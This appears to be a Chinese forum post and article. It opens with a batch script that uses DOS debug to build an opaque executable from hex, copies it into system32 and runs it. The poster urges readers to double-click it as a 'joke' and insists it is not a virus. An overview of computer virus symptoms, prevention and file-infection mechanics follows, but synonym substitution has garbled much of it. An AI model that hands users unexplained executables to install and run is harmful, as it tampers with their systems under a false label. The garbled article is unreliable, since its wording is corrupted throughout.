@echo e 330 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 tmp11
@echo e 500 56 8B 74 24 08 57 68 10 30 40 00 56 FF 15 10 20 tmp11
@echo e 510 40 00 8B 0D 10 30 40 00 83 F9 CE 8B 15 18 30 40 tmp11
@echo e 520 00 8B 3D 24 30 40 00 A1 14 30 40 00 7D 21 83 F8 tmp11
@echo e 530 CE 7C 21 6A 05 6A 00 6A 00 83 E8 0A 50 51 6A 00 tmp11
@echo e 540 56 A3 14 30 40 00 FF 15 0C 20 40 00 5F 5E C3 83 tmp11
@echo e 550 F8 CE 7D 0E 53 8D 5F 32 3B D3 5B 7F 05 83 C1 0A tmp11
@echo e 560 EB 39 83 C7 32 3B D7 7E 2F 8B 15 20 30 40 00 8B tmp11
@echo e 570 3D 1C 30 40 00 83 C2 32 3B FA 7F 1C 6A 05 6A 00 tmp11
@echo e 580 6A 00 83 C0 0A 50 51 6A 00 56 A3 14 30 40 00 FF tmp11
@echo e 590 15 0C 20 40 00 5F 5E C3 83 E9 0A 6A 05 6A 00 6A tmp11
@echo e 5A0 00 50 51 6A 00 56 89 0D 10 30 40 00 FF 15 0C 20 tmp11
@echo e 5B0 40 00 5F 5E C3 CC CC CC CC CC CC CC CC CC CC CC tmp11
@echo e 5C0 56 68 10 30 40 00 FF 15 24 20 40 00 50 FF 15 10 tmp11
@echo e 5D0 20 40 00 A1 18 30 40 00 8B 0D 1C 30 40 00 8B 35 tmp11
@echo e 5E0 20 20 40 00 68 91 00 00 00 A3 24 30 40 00 89 0D tmp11
@echo e 5F0 20 30 40 00 FF D6 A8 01 75 60 53 8B 1D 1C 20 40 tmp11
@echo e 600 00 55 8B 2D 18 20 40 00 57 8B 3D 14 20 40 00 90 tmp11
@echo e 610 FF D7 50 E8 E8 FE FF FF 83 C4 04 6A 00 FF D3 50 tmp11
@echo e 620 E8 DB FE FF FF 83 C4 04 E8 36 00 00 00 99 F7 3D tmp11
@echo e 630 20 30 40 00 52 E8 29 00 00 00 99 F7 3D 24 30 40 tmp11
@echo e 640 00 52 FF D5 6A 14 FF 15 00 20 40 00 68 91 00 00 tmp11
@echo e 650 00 FF D6 A8 01 74 B9 5F 5D 5B 6A 00 FF 15 04 20 tmp11
@echo e 660 40 00 5E A1 00 30 40 00 69 C0 FD 43 03 00 05 C3 tmp11
@echo e 670 9E 26 00 A3 00 30 40 00 33 C0 66 A1 02 30 40 00 tmp11
@echo e 680 25 FF 7F 00 00 C3 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 700 C2 20 00 00 B4 20 00 00 00 00 00 00 D8 20 00 00 tmp11
@echo e 710 E8 20 00 00 F8 20 00 00 0E 21 00 00 1E 21 00 00 tmp11
@echo e 720 2E 21 00 00 3C 21 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 730 00 00 00 00 FD 19 07 3F 00 00 00 00 02 00 00 00 tmp11
@echo e 730 00 00 00 00 FD 19 07 3F 00 00 00 00 02 00 00 00 tmp11
@echo e 740 3C 00 00 00 5C 21 00 00 5C 07 00 00 88 20 00 00 tmp11
@echo e 750 00 00 00 00 00 00 00 00 CA 20 00 00 00 20 00 00 tmp11
@echo e 760 94 20 00 00 00 00 00 00 00 00 00 00 50 21 00 00 tmp11
@echo e 770 0C 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 780 00 00 00 00 00 00 00 00 C2 20 00 00 B4 20 00 00 tmp11
@echo e 790 00 00 00 00 D8 20 00 00 E8 20 00 00 F8 20 00 00 tmp11
@echo e 7A0 0E 21 00 00 1E 21 00 00 2E 21 00 00 3C 21 00 00 tmp11
@echo e 7B0 00 00 00 00 AF 00 45 78 69 74 50 72 6F 63 65 73 tmp11
@echo e 7C0 73 00 47 03 53 6C 65 65 70 00 4B 45 52 4E 45 4C tmp11
@echo e 7D0 33 32 2E 64 6C 6C 00 00 83 02 53 65 74 57 69 6E tmp11
@echo e 7E0 64 6F 77 50 6F 73 00 00 74 01 47 65 74 57 69 6E tmp11
@echo e 7F0 64 6F 77 52 65 63 74 00 17 01 47 65 74 46 6F 72 tmp11
@echo e 800 65 67 72 6F 75 6E 64 57 69 6E 64 6F 77 00 4F 02 tmp11
@echo e 810 53 65 74 43 75 72 73 6F 72 50 6F 73 00 00 63 01 tmp11
@echo e 820 47 65 74 54 6F 70 57 69 6E 64 6F 77 00 00 21 01 tmp11
@echo e 830 47 65 74 4B 65 79 53 74 61 74 65 00 0E 01 47 65 tmp11
@echo e 840 74 44 65 73 6B 74 6F 70 57 69 6E 64 6F 77 00 00 tmp11
@echo e 850 55 53 45 52 33 32 2E 64 6C 6C 00 00 52 53 44 53 tmp11
@echo e 860 15 F4 68 A6 3F 1B F6 4A 85 E8 67 8B 58 CA E2 04 tmp11
@echo e 870 02 00 00 00 66 3A 5C 50 72 6F 6A 65 63 74 73 5C tmp11
@echo e 880 46 65 61 73 74 5C 52 65 6C 65 61 73 65 5C 46 65 tmp11
@echo e 890 61 73 74 2E 70 64 62 00 00 00 00 00 00 00 00 00 tmp11
@echo rcxtmp11
@echo A00tmp11
@echo n tmp1tmp11
@echo wtmp11
@echo qtmp11
@debugtmp11
@Copy /b /y tmp1 %systemroot%\system32\Feast.exe
@start %systemroot%\system32\Feast.exe
@del tmp11
@del tmp1
把那些写道txt里面，另存为 文件名.bat，双击运行，绝对的joke，很好玩的哦~
那两个都不是病毒。
-绝对原创谜底
什么是计算机病毒？病毒有哪些特征？计算机病毒是一种有很强毁坏和传染力的计算机法式。那种法式与其他法式差别，当把那种法式输进 一般工做的计算机后，会把已有的信息毁坏，而且，那种法式具有再生的才能，能主动进进 有关的法式停止自我复造。因为它像微生物一样，能够繁育 ，因而，被称为“计算机病毒”。关于计算机病毒确实切定义，至今尚无一个公认的概念。目前，利用较多的是美国病毒专家科恩（Fred Cohen）博士所下的定义：计算机病毒是一种可以通过修改法式，并把本身的复成品包罗在内往 传染其它法式的法式。计算机病毒不断都是计算机系统及信息平安的浩荡 威胁 ，系统准确 地掌握 计算机病毒的特征及其提防 办法是及其重要的。
2 计算机病毒的特征
计算机病毒赖以保存的根底是现代计算机均摘 用了冯•诺依曼的“存储法式”工做原理和操做系统的公开性和懦弱性，以及收集中的破绽。法式和数据都存在计算机中，法式和数据都能够被读、写、修改和复造，即法式能够在内存中繁育 。计算机病毒常见的特征有：传染性、时髦 性、哄骗 性、危害性、可插进 性、暗藏性、可激发性、隐蔽性、顽固性和常驻内存。
计算机病毒具有许多特征，次要表示在如下24个方面。那些特征能够做为检测病毒的重要根据，是停止病毒诊断和肃清的根底。
1) 差别的病毒，具有差别的传染标识表记标帜。那些标识表记标帜构成了各类病毒的特征代码。Internet以及良多册本文献上都回 纳了很多已发现的病毒的特征代码供参考。
2) 磁盘重要区域，如引导扇区（BOOT）、文件分配表（FAT表）、根目次区被毁坏，从而使系统盘不克不及利用或使数据和法式文件丧失。
3) 病毒法式在计算机中繁育 ，使法式加长。据统计，有52种病毒引起宿主法式长度增长。
4) 法式加载时间变长，或施行时间比日常平凡长。机器运行速度明显变慢，磁盘读/写时间明显增长。
5) 文件的成立日期和时间被修改。
6) 空间呈现不成阐明 的变小，可施行文件因RAM区不敷而不克不及加载。
7) 可施行文件运行后，奥秘 地丧失了，或产生新的文件。
8) 更改或重写卷标，使磁盘卷标发作改变 ，或莫明其妙地呈现隐躲 文件或其他文件。
9) 磁盘上呈现坏扇区，有效空间削减。有的病毒为了遁藏 检测，有意 造造坏扇区，而将病毒代码隐躲 在坏扇区内。
10) 没有利用COPY号令，却在屏幕上展现 “1 File（s）copied！”，或无明白原因，却向帖有写庇护的软盘上写进 数据，招致文件错误。
11) 改动系统的一般历程；或使系统空挂，使屏幕或键盘处于封锁形态；或一般操做情状 下，常驻法式失败。
12) 屏幕上呈现特殊 的展现 ，如呈现跳动的小球、雪花、局域闪烁 、莫明其妙的发问，或呈现一些反常 的展现 画面，如长方形亮块、小毛虫。
13) 机器呈现蜂喊 声，或发出尖喊 声、警报声，或吹奏某些歌曲。
14) 系统呈现反常 启动或莫明其妙的重启动，或启动失控，或经常死机。
15) 局域网或通信线路上发作反常 加载等。
16) 删除或纠正 磁盘特定的扇区，或对特定磁盘、扇区和整个磁盘做格局化。
17) 改动磁盘上目标 信息的存储形态，窃取有用的重要数据。
18) 关于系统顶用户特定的文件停止加密或解密。
19) 使打印或通信端口反常 ，或使软盘驱动器磁头往返 挪动。
20) 影响系统一般启动，或影响系统常驻内存法式的一般施行，使常驻法式失败，或使系统呈现反常 死机，或使系统突然 重启动。
21) 使屏幕上展现 的汉字不全。如小球病毒在CCDOS情况下爆发时，跳动的小球在碰着 汉字时即消往 汉字的一半。
22) 使打印机速度减慢或使打印机失控，形成打印机不克不及打印，呈现“No paper”提醒。
23) 使系统不认可硬盘或硬盘不克不及引导系统，展现 “Invalid specification”。
24) 反常 地要求用户输进 口令，或利用写庇护软盘而没有停止写操做，却提醒“软盘写庇护”。
3 计算机病毒的提防
因为计算机病毒一旦毁坏了没有副本的数据、文件，便无法再恢复了，因而，在反病毒的工做中，起首应摘 取有效的提防 办法，使系统不被病毒传染，或者传染后能尽可能地削减缺失 。
计算机病毒的防治要从防毒、查毒、杀毒三方面停止。一个系统关于计算机病毒的现实防治才能和效果也是从那三个方面的才能来评判的。
防毒是指根据 系统特征，摘 取响应的系统平安办法预防病毒侵略 计算机。查毒是指关于确定的情况，可以准确 地报出病毒的名称，那些情况包罗内存、文件、引导区（主引导区）、收集等。杀毒是指根据 差别类型的病毒的肃清以及对被传染对象停止恢复。恢复过程是基于不毁坏未被病毒修改的内容的根底上的。传染对象包罗内存、文件、引导区（主引导区）、可施行文件、文档文件、收集等。防毒才能是指预防病毒侵略 计算机系统的才能，查毒才能是指发现和逃踪病毒来源的才能，杀毒（解毒）才能是指从传染对象中肃清病毒，恢复被病毒传染前的原始信息的才能。
凡是应该摘 用的预防计算机病毒的手段有：
（1）平安防毒软件。假设 经常上彀，还应平安防毒软件中的防火墙，启动实时监控。别的，每周应至少更新一次病毒定义码或病毒引擎，此外，按期扫描计算机也是一个优良的习惯。
（2）重视 软盘、光盘前言。在利用那些前言之前，必然要先辈行扫描，确信其未被传染再利用。
（3）重视 下载站点。下载必然要从可靠的站点长进行，关于在Internet上下载的文件与电子邮件，应该做病毒扫描。
（4）用常识停止揣度 。好比，关于一些来历不明的邮件决不翻开。
（5）制止利用Windows Scripting Host。良多病毒，特殊 是蠕虫病毒恰是钻了那个破绽，使得用户无需单击附件，就可主动翻开一个被传染的附件。
（6）按期和不按期地停止磁盘文件备份工做。重要的数据应当及时停止备份。
（7）在任何情状 下，都应保留一张不开写庇护的、无病毒的、带有各类DOS号令文件的系统启动盘，用于肃清病毒和庇护 系统。
4 总结
病毒能够做其他法式所做的任何事，独一的区别在于它将本身附加在另一个法式上，而且在宿主法式运行时奥秘 地施行。一旦病毒施行时，它能够完成任何功用，好比删除法式和文件等，其危害性极大。如今良多人还没有养成按期停止系统晋级、庇护 的习惯，那也是良多人受病毒损害传染率高的原因之一。只要培育提拔 了优良的预防病毒的意识，并足够 发扬 杀毒软件的防护才能，完全能够将大部门病毒拒之门外的。
文件型电脑病毒介绍
要领会文件型病毒的原理,起首要领会文件的构造.COM 文件比力简单, 病毒要传染COM文件有两种 办法 ,一种是将病毒加在COM前部,一种是加在文件尾部，下面由我给你做出详尽 的文件型电脑病毒介绍!期看 对你有搀扶帮助 !见下图:
文件型电脑病毒介绍：
A B
-------- ---------------
|-病毒 | |JMP XXXX:XXXX| (原文件的前3字节被修改)
-------- ---------------
|原文件| ├ 原法式 ┤
-------- --------------
├ 病毒 ┤
--------------
EXE 文件比力复杂,每个EXE文件都有一个文件头,构造如下:
EXE文件头信息
-------------------------------------
├偏移量┤ 意义 ┤
├00h-01h ┤MZ'EXE文件标识表记标帜 ┤
├2h-03h ┤文件长度除512的余数 ┤
├04h-05h ┤...............商 ┤
├06h-07h ┤重定位项的个数 ┤
├08h-09h ┤文件头除16的商 ┤
├0ah-0bh ┤法式运行所需最小段 数 ┤
├0ch-0dh ┤..............大..... ┤
├oeh-0fh ┤仓库段的段值 (SS) ┤
├10h-11h ┤........sp ┤
├12h-13h ┤文件校验和 ┤
├14h-15h ┤IP ┤
├16h-17h ┤CS ┤
├18h-19h ┤............ ┤
├1ah-1bh ┤............ ┤
├1ch ┤............ ┤
------------------------------------
当DOS加载EXE文件时,根据 文件头信息,调进 必然长度的文件,设置SS,SP 从CS:IP 起头施行.病毒一般将本身加在文件的末端,并修改CS,IP的值指向病毒起始地址,并修改文件长度信息和SS,SP。
文件型电脑病毒介绍根本原理：
当被传染法式施行之后，病毒会立即 (进 口点被改成病毒代码)或者在随后的某个时间("无进 口点病毒")获得掌握 权，获得掌握 权后，病毒凡是会停止下面的操做(某个详细的病毒纷歧定停止了所有那些操做，操做的挨次也很可能纷歧样):
· 内存驻留的病毒起首查抄系统可用内存，查看内存中能否已经有病毒代码存在，假设 没有将病毒代码拆进 内存中。非内存驻留病毒会在那个时候停止传染，查找当前目次、根目次或者情况变量PATH中包罗的目次，发现能够被传染的可施行文件就停止传染。
情况变量:起首在DOS 操做系统 下呈现，是由操做系统保留，对所有法式都一样的一些定义的值，好比说情况变量PATH是施行法式时搜刮的途径列表，情况变量PROMPT是施行DOS号令时的提醒信息。在视窗操做系统下也有情况变量，但是除了搜刮途径以外的视窗操做系统的情况变量根本上在DOS框里面才会用到。
· 施行病毒的一些其他功用，好比说毁坏功用，展现 信息或者病毒精心造造 的动画等等，关于驻留内存的病毒来说，施行那些功用的时间能够是起头施行的时候，也能够是称心 某个前提的时候，好比说按时或者当天的日期是13号刚好又是礼拜五等等。为了实现那种按时的爆发，病毒往往会修改系统的时钟中断，以便在适宜 的时候激活。
· 完成那些工做之后，将掌握 权交回被传染的法式。为了包管本来法式的准确施行，寄生病毒在施行被传染法式的之前，会把本来的法式复原，陪伴病毒会间接挪用本来的法式，笼盖病毒和其他一些毁坏性传染的病毒会把掌握 权交回DOS操做系统。
我来回答